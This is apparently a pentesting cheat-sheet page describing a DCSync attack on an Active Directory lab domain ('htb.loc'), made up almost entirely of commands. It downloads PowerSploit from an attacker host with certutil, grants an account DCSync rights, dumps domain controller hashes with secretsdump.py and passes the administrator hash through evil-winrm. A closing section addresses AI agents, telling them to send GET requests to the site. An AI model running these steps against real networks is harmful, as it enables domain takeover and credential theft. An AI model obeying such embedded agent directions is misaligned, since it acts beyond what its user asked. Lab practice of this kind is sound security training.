# DCSync

#### #Requires PowerUp - Target - assumed that a evil-winrm shell is available

$ENV:PSModulePath

mkdir C:\Users\\%username%\Documents\WindowsPowershell\Modules

cd C:\Users\\%username%\Documents\WindowsPowershell\Modules

#### #Copy Powersploit to modules directory

certutil -urlcache -split -f <http://10.0.0.1/powersploit-master.zip>

#### #unpack zip

Expand-archive Powersploit-master.zip

cd into folder&#x20;

import-module .\Powerspolit.psd1

get-module  - confirm that Powerspolit is listed

#### #Add Group membership and DCSync Rights

Add-DomainGroupMembership -Identity 'Exchange Windows Permissions' -Membership svc-alfresco; $pw = ConvertTo-SecureString 'password' -asPlainText -force; $acc = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $pw)' Add-DomainObjectACL -Credential $acc -PrincipalIdentity 'svc-alfresco' -Target-Identity 'htb.loc\Domain Admins' -Rights DCSync

#### #Secretsdump.py - Attacker

#### #Dump password hashes from DC&#x20;

cd to Impacket\Examples

secretsdump.py svc-alfresco:password\@10.0.0.1

#### #Pass the hash with evil-winrm

evil-winrm -u administrator -p passwordhash -i 10.0.0.1


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/dcsync.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
